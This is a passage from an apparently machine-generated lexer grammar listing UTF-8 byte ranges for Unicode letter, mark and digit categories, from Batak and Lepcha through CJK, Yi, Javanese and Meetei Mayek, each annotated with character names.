SUNDANESE AVAGRAHA..BATAK LETTER U\n      | 0xE1 0xAF 0x00..0xA5    #\n      | 0xE1 0xAF 0xA6          #Mn       BATAK SIGN TOMPI\n      | 0xE1 0xAF 0xA7          #Mc       BATAK VOWEL SIGN E\n      | 0xE1 0xAF 0xA8..0xA9    #Mn   [2] BATAK VOWEL SIGN PAKPAK E..BATAK V...\n      | 0xE1 0xAF 0xAA..0xAC    #Mc   [3] BATAK VOWEL SIGN I..BATAK VOWEL SI...\n      | 0xE1 0xAF 0xAD          #Mn       BATAK VOWEL SIGN KARO O\n      | 0xE1 0xAF 0xAE          #Mc       BATAK VOWEL SIGN U\n      | 0xE1 0xAF 0xAF..0xB1    #Mn   [3] BATAK VOWEL SIGN U FOR SIMALUNGUN ...\n      | 0xE1 0xAF 0xB2..0xB3    #Mc   [2] BATAK PANGOLAT..BATAK PANONGONAN\n      | 0xE1 0xB0 0x80..0xA3    #Lo  [36] LEPCHA LETTER KA..LEPCHA LETTER A\n      | 0xE1 0xB0 0xA4..0xAB    #Mc   [8] LEPCHA SUBJOINED LETTER YA..LEPCHA...\n      | 0xE1 0xB0 0xAC..0xB3    #Mn   [8] LEPCHA VOWEL SIGN E..LEPCHA CONSON...\n      | 0xE1 0xB0 0xB4..0xB5    #Mc   [2] LEPCHA CONSONANT SIGN NYIN-DO..LEP...\n      | 0xE1 0xB0 0xB6..0xB7    #Mn   [2] LEPCHA SIGN RAN..LEPCHA SIGN NUKTA\n      | 0xE1 0xB1 0x80..0x89    #Nd  [10] LEPCHA DIGIT ZERO..LEPCHA DIGIT NINE\n      | 0xE1 0xB1 0x8D..0x8F    #Lo   [3] LEPCHA LETTER TTA..LEPCHA LETTER DDA\n      | 0xE1 0xB1 0x90..0x99    #Nd  [10] OL CHIKI DIGIT ZERO..OL CHIKI DIGI...\n      | 0xE1 0xB1 0x9A..0xB7    #Lo  [30] OL CHIKI LETTER LA..OL CHIKI LETTE...\n      | 0xE1 0xB1 0xB8..0xBD    #Lm   [6] OL CHIKI MU TTUDDAG..OL CHIKI AHAD\n      | 0xE1 0xB2 0x80..0x88    #L&   [9] CYRILLIC SMALL LETTER ROUNDED VE.....\n      | 0xE1 0xB3 0x90..0x92    #Mn   [3] VEDIC TONE KARSHANA..VEDIC TONE PR...\n      | 0xE1 0xB3 0x94..0xA0    #Mn  [13] VEDIC SIGN YAJURVEDIC MIDLINE SVAR...\n      | 0xE1 0xB3 0xA1          #Mc       VEDIC TONE ATHARVAVEDIC INDEPENDEN...\n      | 0xE1 0xB3 0xA2..0xA8    #Mn   [7] VEDIC SIGN VISARGA SVARITA..VEDIC ...\n      | 0xE1 0xB3 0xA9..0xAC    #Lo   [4] VEDIC SIGN ANUSVARA ANTARGOMUKHA.....\n      | 0xE1 0xB3 0xAD          #Mn       VEDIC SIGN TIRYAK\n      | 0xE1 0xB3 0xAE..0xB1    #Lo   [4] VEDIC SIGN HEXIFORM LONG ANUSVARA....\n      | 0xE1 0xB3 0xB2..0xB3    #Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIG...\n      | 0xE1 0xB3 0xB4          #Mn       VEDIC TONE CANDRA ABOVE\n      | 0xE1 0xB3 0xB5..0xB6    #Lo   [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN...\n      | 0xE1 0xB3 0xB8..0xB9    #Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE ...\n      | 0xE1 0xB4 0x80..0xAB    #L&  [44] LATIN LETTER SMALL CAPITAL A..CYRI...\n      | 0xE1 0xB4 0xAC..0xFF    #Lm  [63] MODIFIER LETTER CAPITAL A..GREEK S...\n      | 0xE1 0xB5 0x00..0xAA    #\n      | 0xE1 0xB5 0xAB..0xB7    #L&  [13] LATIN SMALL LETTER UE..LATIN SMALL...\n      | 0xE1 0xB5 0xB8          #Lm       MODIFIER LETTER CYRILLIC EN\n      | 0xE1 0xB5 0xB9..0xFF    #L&  [34] LATIN SMALL LETTER INSULAR G..LATI...\n      | 0xE1 0xB6 0x00..0x9A    #\n      | 0xE1 0xB6 0x9B..0xBF    #Lm  [37] MODIFIER LETTER SMALL TURNED ALPHA...\n      | 0xE1 0xB7 0x80..0xB5    #Mn  [54] COMBINING DOTTED GRAVE ACCENT..COM...\n      | 0xE1 0xB7 0xBB..0xBF    #Mn   [5] COMBINING DELETION MARK..COMBINING...\n      | 0xE1 0xB8 0x80..0xFF        #L& [278] LATIN CAPITAL LETTER A WITH RI...\n      | 0xE1 0xB9..0xBB 0x00..0xFF  #\n      | 0xE1 0xBC 0x00..0x95        #\n      | 0xE1 0xBC 0x98..0x9D    #L&   [6] GREEK CAPITAL LETTER EPSILON WITH ...\n      | 0xE1 0xBC 0xA0..0xFF    #L&  [38] GREEK SMALL LETTER ETA WITH PSILI....\n      | 0xE1 0xBD 0x00..0x85    #\n      | 0xE1 0xBD 0x88..0x8D    #L&   [6] GREEK CAPITAL LETTER OMICRON WITH ...\n      | 0xE1 0xBD 0x90..0x97    #L&   [8] GREEK SMALL LETTER UPSILON WITH PS...\n      | 0xE1 0xBD 0x99          #L&       GREEK CAPITAL LETTER UPSILON WITH ...\n      | 0xE1 0xBD 0x9B          #L&       GREEK CAPITAL LETTER UPSILON WITH ...\n      | 0xE1 0xBD 0x9D          #L&       GREEK CAPITAL LETTER UPSILON WITH ...\n      | 0xE1 0xBD 0x9F..0xBD    #L&  [31] GREEK CAPITAL LETTER UPSILON WITH ...\n      | 0xE1 0xBE 0x80..0xB4    #L&  [53] GREEK SMALL LETTER ALPHA WITH PSIL...\n      | 0xE1 0xBE 0xB6..0xBC    #L&   [7] GREEK SMALL LETTER ALPHA WITH PERI...\n      | 0xE1 0xBE 0xBE          #L&       GREEK PROSGEGRAMMENI\n      | 0xE1 0xBF 0x82..0x84    #L&   [3] GREEK SMALL LETTER ETA WITH VARIA ...\n      | 0xE1 0xBF 0x86..0x8C    #L&   [7] GREEK SMALL LETTER ETA WITH PERISP...\n      | 0xE1 0xBF 0x90..0x93    #L&   [4] GREEK SMALL LETTER IOTA WITH VRACH...\n      | 0xE1 0xBF 0x96..0x9B    #L&   [6] GREEK SMALL LETTER IOTA WITH PERIS...\n      | 0xE1 0xBF 0xA0..0xAC    #L&  [13] GREEK SMALL LETTER UPSILON WITH VR...\n      | 0xE1 0xBF 0xB2..0xB4    #L&   [3] GREEK SMALL LETTER OMEGA WITH VARI...\n      | 0xE1 0xBF 0xB6..0xBC    #L&   [7] GREEK SMALL LETTER OMEGA WITH PERI...\n      | 0xE2 0x80 0xBF..0xFF    #Pc   [2] UNDERTIE..CHARACTER TIE\n      | 0xE2 0x81 0x00..0x80    #\n      | 0xE2 0x81 0x94          #Pc       INVERTED UNDERTIE\n      | 0xE2 0x81 0xB1          #Lm       SUPERSCRIPT LATIN SMALL LETTER I\n      | 0xE2 0x81 0xBF          #Lm       SUPERSCRIPT LATIN SMALL LETTER N\n      | 0xE2 0x82 0x90..0x9C    #Lm  [13] LATIN SUBSCRIPT SMALL LETTER A..LA...\n      | 0xE2 0x83 0x90..0x9C    #Mn  [13] COMBINING LEFT HARPOON ABOVE..COMB...\n      | 0xE2 0x83 0xA1          #Mn       COMBINING LEFT RIGHT ARROW ABOVE\n      | 0xE2 0x83 0xA5..0xB0    #Mn  [12] COMBINING REVERSE SOLIDUS OVERLAY....\n      | 0xE2 0x84 0x82          #L&       DOUBLE-STRUCK CAPITAL C\n      | 0xE2 0x84 0x87          #L&       EULER CONSTANT\n      | 0xE2 0x84 0x8A..0x93    #L&  [10] SCRIPT SMALL G..SCRIPT SMALL L\n      | 0xE2 0x84 0x95          #L&       DOUBLE-STRUCK CAPITAL N\n      | 0xE2 0x84 0x98          #Sm       SCRIPT CAPITAL P\n      | 0xE2 0x84 0x99..0x9D    #L&   [5] DOUBLE-STRUCK CAPITAL P..DOUBLE-ST...\n      | 0xE2 0x84 0xA4          #L&       DOUBLE-STRUCK CAPITAL Z\n      | 0xE2 0x84 0xA6          #L&       OHM SIGN\n      | 0xE2 0x84 0xA8          #L&       BLACK-LETTER CAPITAL Z\n      | 0xE2 0x84 0xAA..0xAD    #L&   [4] KELVIN SIGN..BLACK-LETTER CAPITAL C\n      | 0xE2 0x84 0xAE          #So       ESTIMATED SYMBOL\n      | 0xE2 0x84 0xAF..0xB4    #L&   [6] SCRIPT SMALL E..SCRIPT SMALL O\n      | 0xE2 0x84 0xB5..0xB8    #Lo   [4] ALEF SYMBOL..DALET SYMBOL\n      | 0xE2 0x84 0xB9          #L&       INFORMATION SOURCE\n      | 0xE2 0x84 0xBC..0xBF    #L&   [4] DOUBLE-STRUCK SMALL PI..DOUBLE-STR...\n      | 0xE2 0x85 0x85..0x89    #L&   [5] DOUBLE-STRUCK ITALIC CAPITAL D..DO...\n      | 0xE2 0x85 0x8E          #L&       TURNED SMALL F\n      | 0xE2 0x85 0xA0..0xFF    #Nl  [35] ROMAN NUMERAL ONE..ROMAN NUMERAL T...\n      | 0xE2 0x86 0x00..0x82    #\n      | 0xE2 0x86 0x83..0x84    #L&   [2] ROMAN NUMERAL REVERSED ONE HUNDRED...\n      | 0xE2 0x86 0x85..0x88    #Nl   [4] ROMAN NUMERAL SIX LATE FORM..ROMAN...\n      | 0xE2 0xB0 0x80..0xAE    #L&  [47] GLAGOLITIC CAPITAL LETTER AZU..GLA...\n      | 0xE2 0xB0 0xB0..0xFF    #L&  [47] GLAGOLITIC SMALL LETTER AZU..GLAGO...\n      | 0xE2 0xB1 0x00..0x9E    #\n      | 0xE2 0xB1 0xA0..0xBB    #L&  [28] LATIN CAPITAL LETTER L WITH DOUBLE...\n      | 0xE2 0xB1 0xBC..0xBD    #Lm   [2] LATIN SUBSCRIPT SMALL LETTER J..MO...\n      | 0xE2 0xB1 0xBE..0xFF        #L& [103] LATIN CAPITAL LETTER S WITH SW...\n      | 0xE2 0xB2..0xB2 0x00..0xFF  #\n      | 0xE2 0xB3 0x00..0xA4        #\n      | 0xE2 0xB3 0xAB..0xAE    #L&   [4] COPTIC CAPITAL LETTER CRYPTOGRAMMI...\n      | 0xE2 0xB3 0xAF..0xB1    #Mn   [3] COPTIC COMBINING NI ABOVE..COPTIC ...\n      | 0xE2 0xB3 0xB2..0xB3    #L&   [2] COPTIC CAPITAL LETTER BOHAIRIC KHE...\n      | 0xE2 0xB4 0x80..0xA5    #L&  [38] GEORGIAN SMALL LETTER AN..GEORGIAN...\n      | 0xE2 0xB4 0xA7          #L&       GEORGIAN SMALL LETTER YN\n      | 0xE2 0xB4 0xAD          #L&       GEORGIAN SMALL LETTER AEN\n      | 0xE2 0xB4 0xB0..0xFF    #Lo  [56] TIFINAGH LETTER YA..TIFINAGH LETTE...\n      | 0xE2 0xB5 0x00..0xA7    #\n      | 0xE2 0xB5 0xAF          #Lm       TIFINAGH MODIFIER LETTER LABIALIZA...\n      | 0xE2 0xB5 0xBF          #Mn       TIFINAGH CONSONANT JOINER\n      | 0xE2 0xB6 0x80..0x96    #Lo  [23] ETHIOPIC SYLLABLE LOA..ETHIOPIC SY...\n      | 0xE2 0xB6 0xA0..0xA6    #Lo   [7] ETHIOPIC SYLLABLE SSA..ETHIOPIC SY...\n      | 0xE2 0xB6 0xA8..0xAE    #Lo   [7] ETHIOPIC SYLLABLE CCA..ETHIOPIC SY...\n      | 0xE2 0xB6 0xB0..0xB6    #Lo   [7] ETHIOPIC SYLLABLE ZZA..ETHIOPIC SY...\n      | 0xE2 0xB6 0xB8..0xBE    #Lo   [7] ETHIOPIC SYLLABLE CCHA..ETHIOPIC S...\n      | 0xE2 0xB7 0x80..0x86    #Lo   [7] ETHIOPIC SYLLABLE QYA..ETHIOPIC SY...\n      | 0xE2 0xB7 0x88..0x8E    #Lo   [7] ETHIOPIC SYLLABLE KYA..ETHIOPIC SY...\n      | 0xE2 0xB7 0x90..0x96    #Lo   [7] ETHIOPIC SYLLABLE XYA..ETHIOPIC SY...\n      | 0xE2 0xB7 0x98..0x9E    #Lo   [7] ETHIOPIC SYLLABLE GYA..ETHIOPIC SY...\n      | 0xE2 0xB7 0xA0..0xBF    #Mn  [32] COMBINING CYRILLIC LETTER BE..COMB...\n      | 0xE3 0x80 0x85          #Lm       IDEOGRAPHIC ITERATION MARK\n      | 0xE3 0x80 0x86          #Lo       IDEOGRAPHIC CLOSING MARK\n      | 0xE3 0x80 0x87          #Nl       IDEOGRAPHIC NUMBER ZERO\n      | 0xE3 0x80 0xA1..0xA9    #Nl   [9] HANGZHOU NUMERAL ONE..HANGZHOU NUM...\n      | 0xE3 0x80 0xAA..0xAD    #Mn   [4] IDEOGRAPHIC LEVEL TONE MARK..IDEOG...\n      | 0xE3 0x80 0xAE..0xAF    #Mc   [2] HANGUL SINGLE DOT TONE MARK..HANGU...\n      | 0xE3 0x80 0xB1..0xB5    #Lm   [5] VERTICAL KANA REPEAT MARK..VERTICA...\n      | 0xE3 0x80 0xB8..0xBA    #Nl   [3] HANGZHOU NUMERAL TEN..HANGZHOU NUM...\n      | 0xE3 0x80 0xBB          #Lm       VERTICAL IDEOGRAPHIC ITERATION MARK\n      | 0xE3 0x80 0xBC          #Lo       MASU MARK\n      | 0xE3 0x81 0x81..0xFF    #Lo  [86] HIRAGANA LETTER SMALL A..HIRAGANA ...\n      | 0xE3 0x82 0x00..0x96    #\n      | 0xE3 0x82 0x99..0x9A    #Mn   [2] COMBINING KATAKANA-HIRAGANA VOICED...\n      | 0xE3 0x82 0x9B..0x9C    #Sk   [2] KATAKANA-HIRAGANA VOICED SOUND MAR...\n      | 0xE3 0x82 0x9D..0x9E    #Lm   [2] HIRAGANA ITERATION MARK..HIRAGANA ...\n      | 0xE3 0x82 0x9F          #Lo       HIRAGANA DIGRAPH YORI\n      | 0xE3 0x82 0xA1..0xFF    #Lo  [90] KATAKANA LETTER SMALL A..KATAKANA ...\n      | 0xE3 0x83 0x00..0xBA    #\n      | 0xE3 0x83 0xBC..0xBE    #Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND ...\n      | 0xE3 0x83 0xBF          #Lo       KATAKANA DIGRAPH KOTO\n      | 0xE3 0x84 0x85..0xAD    #Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH\n      | 0xE3 0x84 0xB1..0xFF        #Lo  [94] HANGUL LETTER KIYEOK..HANGUL L...\n      | 0xE3 0x85..0x85 0x00..0xFF  #\n      | 0xE3 0x86 0x00..0x8E        #\n      | 0xE3 0x86 0xA0..0xBA    #Lo  [27] BOPOMOFO LETTER BU..BOPOMOFO LETTE...\n      | 0xE3 0x87 0xB0..0xBF    #Lo  [16] KATAKANA LETTER SMALL KU..KATAKANA...\n      | 0xE3 0x90 0x80..0xFF        #Lo [6582] CJK UNIFIED IDEOGRAPH-3400..C...\n      | 0xE3 0x91..0xFF 0x00..0xFF  #\n      | 0xE4 0x00 0x00..0xFF        #\n      | 0xE4 0x01..0xB5 0x00..0xFF  #\n      | 0xE4 0xB6 0x00..0xB5        #\n      | 0xE4 0xB8 0x80..0xFF              #Lo [20950] CJK UNIFIED IDEOGRAPH-...\n      | 0xE4 0xB9..0xFF 0x00..0xFF        #\n      | 0xE5..0xE8 0x00..0xFF 0x00..0xFF  #\n      | 0xE9 0x00 0x00..0xFF              #\n      | 0xE9 0x01..0xBE 0x00..0xFF        #\n      | 0xE9 0xBF 0x00..0x95              #\n      | 0xEA 0x80 0x80..0x94    #Lo  [21] YI SYLLABLE IT..YI SYLLABLE E\n      | 0xEA 0x80 0x95          #Lm       YI SYLLABLE WU\n      | 0xEA 0x80 0x96..0xFF        #Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR\n      | 0xEA 0x81..0x91 0x00..0xFF  #\n      | 0xEA 0x92 0x00..0x8C        #\n      | 0xEA 0x93 0x90..0xB7    #Lo  [40] LISU LETTER BA..LISU LETTER OE\n      | 0xEA 0x93 0xB8..0xBD    #Lm   [6] LISU LETTER TONE MYA TI..LISU LETT...\n      | 0xEA 0x94 0x80..0xFF        #Lo [268] VAI SYLLABLE EE..VAI SYLLABLE NG\n      | 0xEA 0x95..0x97 0x00..0xFF  #\n      | 0xEA 0x98 0x00..0x8B        #\n      | 0xEA 0x98 0x8C          #Lm       VAI SYLLABLE LENGTHENER\n      | 0xEA 0x98 0x90..0x9F    #Lo  [16] VAI SYLLABLE NDOLE FA..VAI SYMBOL ...\n      | 0xEA 0x98 0xA0..0xA9    #Nd  [10] VAI DIGIT ZERO..VAI DIGIT NINE\n      | 0xEA 0x98 0xAA..0xAB    #Lo   [2] VAI SYLLABLE NDOLE MA..VAI SYLLABL...\n      | 0xEA 0x99 0x80..0xAD    #L&  [46] CYRILLIC CAPITAL LETTER ZEMLYA..CY...\n      | 0xEA 0x99 0xAE          #Lo       CYRILLIC LETTER MULTIOCULAR O\n      | 0xEA 0x99 0xAF          #Mn       COMBINING CYRILLIC VZMET\n      | 0xEA 0x99 0xB4..0xBD    #Mn  [10] COMBINING CYRILLIC LETTER UKRAINIA...\n      | 0xEA 0x99 0xBF          #Lm       CYRILLIC PAYEROK\n      | 0xEA 0x9A 0x80..0x9B    #L&  [28] CYRILLIC CAPITAL LETTER DWE..CYRIL...\n      | 0xEA 0x9A 0x9C..0x9D    #Lm   [2] MODIFIER LETTER CYRILLIC HARD SIGN...\n      | 0xEA 0x9A 0x9E..0x9F    #Mn   [2] COMBINING CYRILLIC LETTER EF..COMB...\n      | 0xEA 0x9A 0xA0..0xFF    #Lo  [70] BAMUM LETTER A..BAMUM LETTER KI\n      | 0xEA 0x9B 0x00..0xA5    #\n      | 0xEA 0x9B 0xA6..0xAF    #Nl  [10] BAMUM LETTER MO..BAMUM LETTER KOGHOM\n      | 0xEA 0x9B 0xB0..0xB1    #Mn   [2] BAMUM COMBINING MARK KOQNDON..BAMU...\n      | 0xEA 0x9C 0x97..0x9F    #Lm   [9] MODIFIER LETTER DOT VERTICAL BAR.....\n      | 0xEA 0x9C 0xA2..0xFF    #L&  [78] LATIN CAPITAL LETTER EGYPTOLOGICAL...\n      | 0xEA 0x9D 0x00..0xAF    #\n      | 0xEA 0x9D 0xB0          #Lm       MODIFIER LETTER US\n      | 0xEA 0x9D 0xB1..0xFF    #L&  [23] LATIN SMALL LETTER DUM..LATIN SMAL...\n      | 0xEA 0x9E 0x00..0x87    #\n      | 0xEA 0x9E 0x88          #Lm       MODIFIER LETTER LOW CIRCUMFLEX ACCENT\n      | 0xEA 0x9E 0x8B..0x8E    #L&   [4] LATIN CAPITAL LETTER SALTILLO..LAT...\n      | 0xEA 0x9E 0x8F          #Lo       LATIN LETTER SINOLOGICAL DOT\n      | 0xEA 0x9E 0x90..0xAE    #L&  [31] LATIN CAPITAL LETTER N WITH DESCEN...\n      | 0xEA 0x9E 0xB0..0xB7    #L&   [8] LATIN CAPITAL LETTER TURNED K..LAT...\n      | 0xEA 0x9F 0xB7          #Lo       LATIN EPIGRAPHIC LETTER SIDEWAYS I\n      | 0xEA 0x9F 0xB8..0xB9    #Lm   [2] MODIFIER LETTER CAPITAL H WITH STR...\n      | 0xEA 0x9F 0xBA          #L&       LATIN LETTER SMALL CAPITAL TURNED M\n      | 0xEA 0x9F 0xBB..0xFF    #Lo   [7] LATIN EPIGRAPHIC LETTER REVERSED F...\n      | 0xEA 0xA0 0x00..0x81    #\n      | 0xEA 0xA0 0x82          #Mn       SYLOTI NAGRI SIGN DVISVARA\n      | 0xEA 0xA0 0x83..0x85    #Lo   [3] SYLOTI NAGRI LETTER U..SYLOTI NAGR...\n      | 0xEA 0xA0 0x86          #Mn       SYLOTI NAGRI SIGN HASANTA\n      | 0xEA 0xA0 0x87..0x8A    #Lo   [4] SYLOTI NAGRI LETTER KO..SYLOTI NAG...\n      | 0xEA 0xA0 0x8B          #Mn       SYLOTI NAGRI SIGN ANUSVARA\n      | 0xEA 0xA0 0x8C..0xA2    #Lo  [23] SYLOTI NAGRI LETTER CO..SYLOTI NAG...\n      | 0xEA 0xA0 0xA3..0xA4    #Mc   [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI ...\n      | 0xEA 0xA0 0xA5..0xA6    #Mn   [2] SYLOTI NAGRI VOWEL SIGN U..SYLOTI ...\n      | 0xEA 0xA0 0xA7          #Mc       SYLOTI NAGRI VOWEL SIGN OO\n      | 0xEA 0xA1 0x80..0xB3    #Lo  [52] PHAGS-PA LETTER KA..PHAGS-PA LETTE...\n      | 0xEA 0xA2 0x80..0x81    #Mc   [2] SAURASHTRA SIGN ANUSVARA..SAURASHT...\n      | 0xEA 0xA2 0x82..0xB3    #Lo  [50] SAURASHTRA LETTER A..SAURASHTRA LE...\n      | 0xEA 0xA2 0xB4..0xFF    #Mc  [16] SAURASHTRA CONSONANT SIGN HAARU..S...\n      | 0xEA 0xA3 0x00..0x83    #\n      | 0xEA 0xA3 0x84..0x85    #Mn   [2] SAURASHTRA SIGN VIRAMA..SAURASHTRA...\n      | 0xEA 0xA3 0x90..0x99    #Nd  [10] SAURASHTRA DIGIT ZERO..SAURASHTRA ...\n      | 0xEA 0xA3 0xA0..0xB1    #Mn  [18] COMBINING DEVANAGARI DIGIT ZERO..C...\n      | 0xEA 0xA3 0xB2..0xB7    #Lo   [6] DEVANAGARI SIGN SPACING CANDRABIND...\n      | 0xEA 0xA3 0xBB          #Lo       DEVANAGARI HEADSTROKE\n      | 0xEA 0xA3 0xBD          #Lo       DEVANAGARI JAIN OM\n      | 0xEA 0xA4 0x80..0x89    #Nd  [10] KAYAH LI DIGIT ZERO..KAYAH LI DIGI...\n      | 0xEA 0xA4 0x8A..0xA5    #Lo  [28] KAYAH LI LETTER KA..KAYAH LI LETTE...\n      | 0xEA 0xA4 0xA6..0xAD    #Mn   [8] KAYAH LI VOWEL UE..KAYAH LI TONE C...\n      | 0xEA 0xA4 0xB0..0xFF    #Lo  [23] REJANG LETTER KA..REJANG LETTER A\n      | 0xEA 0xA5 0x00..0x86    #\n      | 0xEA 0xA5 0x87..0x91    #Mn  [11] REJANG VOWEL SIGN I..REJANG CONSON...\n      | 0xEA 0xA5 0x92..0x93    #Mc   [2] REJANG CONSONANT SIGN H..REJANG VI...\n      | 0xEA 0xA5 0xA0..0xBC    #Lo  [29] HANGUL CHOSEONG TIKEUT-MIEUM..HANG...\n      | 0xEA 0xA6 0x80..0x82    #Mn   [3] JAVANESE SIGN PANYANGGA..JAVANESE ...\n      | 0xEA 0xA6 0x83          #Mc       JAVANESE SIGN WIGNYAN\n      | 0xEA 0xA6 0x84..0xB2    #Lo  [47] JAVANESE LETTER A..JAVANESE LETTER HA\n      | 0xEA 0xA6 0xB3          #Mn       JAVANESE SIGN CECAK TELU\n      | 0xEA 0xA6 0xB4..0xB5    #Mc   [2] JAVANESE VOWEL SIGN TARUNG..JAVANE...\n      | 0xEA 0xA6 0xB6..0xB9    #Mn   [4] JAVANESE VOWEL SIGN WULU..JAVANESE...\n      | 0xEA 0xA6 0xBA..0xBB    #Mc   [2] JAVANESE VOWEL SIGN TALING..JAVANE...\n      | 0xEA 0xA6 0xBC          #Mn       JAVANESE VOWEL SIGN PEPET\n      | 0xEA 0xA6 0xBD..0xFF    #Mc   [4] JAVANESE CONSONANT SIGN KERET..JAV...\n      | 0xEA 0xA7 0x00..0x80    #\n      | 0xEA 0xA7 0x8F          #Lm       JAVANESE PANGRANGKEP\n      | 0xEA 0xA7 0x90..0x99    #Nd  [10] JAVANESE DIGIT ZERO..JAVANESE DIGI...\n      | 0xEA 0xA7 0xA0..0xA4    #Lo   [5] MYANMAR LETTER SHAN GHA..MYANMAR L...\n      | 0xEA 0xA7 0xA5          #Mn       MYANMAR SIGN SHAN SAW\n      | 0xEA 0xA7 0xA6          #Lm       MYANMAR MODIFIER LETTER SHAN REDUP...\n      | 0xEA 0xA7 0xA7..0xAF    #Lo   [9] MYANMAR LETTER TAI LAING NYA..MYAN...\n      | 0xEA 0xA7 0xB0..0xB9    #Nd  [10] MYANMAR TAI LAING DIGIT ZERO..MYAN...\n      | 0xEA 0xA7 0xBA..0xBE    #Lo   [5] MYANMAR LETTER TAI LAING LLA..MYAN...\n      | 0xEA 0xA8 0x80..0xA8    #Lo  [41] CHAM LETTER A..CHAM LETTER HA\n      | 0xEA 0xA8 0xA9..0xAE    #Mn   [6] CHAM VOWEL SIGN AA..CHAM VOWEL SIG...\n      | 0xEA 0xA8 0xAF..0xB0    #Mc   [2] CHAM VOWEL SIGN O..CHAM VOWEL SIGN AI\n      | 0xEA 0xA8 0xB1..0xB2    #Mn   [2] CHAM VOWEL SIGN AU..CHAM VOWEL SIG...\n      | 0xEA 0xA8 0xB3..0xB4    #Mc   [2] CHAM CONSONANT SIGN YA..CHAM CONSO...\n      | 0xEA 0xA8 0xB5..0xB6    #Mn   [2] CHAM CONSONANT SIGN LA..CHAM CONSO...\n      | 0xEA 0xA9 0x80..0x82    #Lo   [3] CHAM LETTER FINAL K..CHAM LETTER F...\n      | 0xEA 0xA9 0x83          #Mn       CHAM CONSONANT SIGN FINAL NG\n      | 0xEA 0xA9 0x84..0x8B    #Lo   [8] CHAM LETTER FINAL CH..CHAM LETTER ...\n      | 0xEA 0xA9 0x8C          #Mn       CHAM CONSONANT SIGN FINAL M\n      | 0xEA 0xA9 0x8D          #Mc       CHAM CONSONANT SIGN FINAL H\n      | 0xEA 0xA9 0x90..0x99    #Nd  [10] CHAM DIGIT ZERO..CHAM DIGIT NINE\n      | 0xEA 0xA9 0xA0..0xAF    #Lo  [16] MYANMAR LETTER KHAMTI GA..MYANMAR ...\n      | 0xEA 0xA9 0xB0          #Lm       MYANMAR MODIFIER LETTER KHAMTI RED...\n      | 0xEA 0xA9 0xB1..0xB6    #Lo   [6] MYANMAR LETTER KHAMTI XA..MYANMAR ...\n      | 0xEA 0xA9 0xBA          #Lo       MYANMAR LETTER AITON RA\n      | 0xEA 0xA9 0xBB          #Mc       MYANMAR SIGN PAO KAREN TONE\n      | 0xEA 0xA9 0xBC          #Mn       MYANMAR SIGN TAI LAING TONE-2\n      | 0xEA 0xA9 0xBD          #Mc       MYANMAR SIGN TAI LAING TONE-5\n      | 0xEA 0xA9 0xBE..0xFF    #Lo  [50] MYANMAR LETTER SHWE PALAUNG CHA..T...\n      | 0xEA 0xAA 0x00..0xAF    #\n      | 0xEA 0xAA 0xB0          #Mn       TAI VIET MAI KANG\n      | 0xEA 0xAA 0xB1          #Lo       TAI VIET VOWEL AA\n      | 0xEA 0xAA 0xB2..0xB4    #Mn   [3] TAI VIET VOWEL I..TAI VIET VOWEL U\n      | 0xEA 0xAA 0xB5..0xB6    #Lo   [2] TAI VIET VOWEL E..TAI VIET VOWEL O\n      | 0xEA 0xAA 0xB7..0xB8    #Mn   [2] TAI VIET MAI KHIT..TAI VIET VOWEL IA\n      | 0xEA 0xAA 0xB9..0xBD    #Lo   [5] TAI VIET VOWEL UEA..TAI VIET VOWEL AN\n      | 0xEA 0xAA 0xBE..0xBF    #Mn   [2] TAI VIET VOWEL AM..TAI VIET TONE M...\n      | 0xEA 0xAB 0x80          #Lo       TAI VIET TONE MAI NUENG\n      | 0xEA 0xAB 0x81          #Mn       TAI VIET TONE MAI THO\n      | 0xEA 0xAB 0x82          #Lo       TAI VIET TONE MAI SONG\n      | 0xEA 0xAB 0x9B..0x9C    #Lo   [2] TAI VIET SYMBOL KON..TAI VIET SYMB...\n      | 0xEA 0xAB 0x9D          #Lm       TAI VIET SYMBOL SAM\n      | 0xEA 0xAB 0xA0..0xAA    #Lo  [11] MEETEI MAYEK LETTER E..MEETEI MAYE...\n      | 0xEA 0xAB 0xAB          #Mc       MEETEI MAYEK VOWEL SIGN II\n      | 0xEA 0xAB 0xAC..0xAD    #Mn   [2] MEETEI MAYEK VOWEL SIGN UU..MEETEI...\n      | 0xEA 0xAB 0xAE..0xAF    #Mc   [2] MEETEI MAYEK VOWEL SIGN AU..MEETEI...\n      | 0xEA 0xAB 0xB2          #Lo       MEETEI MAYEK ANJI\n      | 0xEA 0xAB 0xB3..0xB4    #Lm   [2] MEETEI MAYEK SYLLABLE REPETITION M...\n      | 0xEA 0xAB 0xB5          #Mc       MEETEI MAYEK VOWEL SIGN VISARGA\n      | 0xEA 0xAB 0xB6          #Mn       MEETEI MAYEK VIRAMA\n      | 0xEA 0xAC 0x81..0x86    #Lo   [6] ETHIOPIC SYLLABLE TTHU..ETHIOPIC S...\n      | 0xEA 0xAC 0x89..0x8E    #Lo   [6] ETHIOPIC SYLLABLE DDHU..ETHIOPIC S...\n      | 0xEA 0xAC 0x91..0x96    #Lo   [6] ETHIOPIC SYLLABLE DZU..ETHIOPIC SY...\n      | 0xEA 0xAC 0xA0..0xA6    #Lo   [7] ETHIOPIC SYLLABLE CCHHA..ETHIOPIC ...\n      | 0xEA 0xAC 0xA8..0xAE    #Lo   [7] ETHIOPIC SYLLABLE BBA..ETHIOPIC SY...\n      | 0xEA 0xAC 0xB0..0xFF    #L&  [43] LATIN SMALL LETTER BARRED ALPHA..L...\n      | 0xEA 0xAD 0x00..0x9A    #\n      | 0xEA 0xAD 0x9C..0x9F    #Lm   [4] MODIFIER LETTER SMALL HENG..MODIFI...\n      | 0xEA 0xAD 0xA0..0xA5    #L&   [6] LATIN SMALL LETTER SAKHA YAT..GREE...\n      | 0xEA 0xAD 0xB0..0xFF    #L&  [80] CHEROKEE SMALL LETTER A..CHEROKEE ...\n      | 0xEA 0xAE 0x00..0xBF    #\n      | 0xEA 0xAF 0x80..0xA2    #Lo  [35] MEETEI MAYEK LETTER KOK..MEETEI MA...\n      | 0xEA 0xAF 0xA3..0xA4    #Mc   [2] MEETEI MAYEK VOWEL SIGN ONAP..MEET...\n      | 0xEA 0xAF 0xA5          #Mn       MEETEI MAYEK VOWEL SIGN ANAP\n      | 0xEA 0xAF 0xA6..0xA7    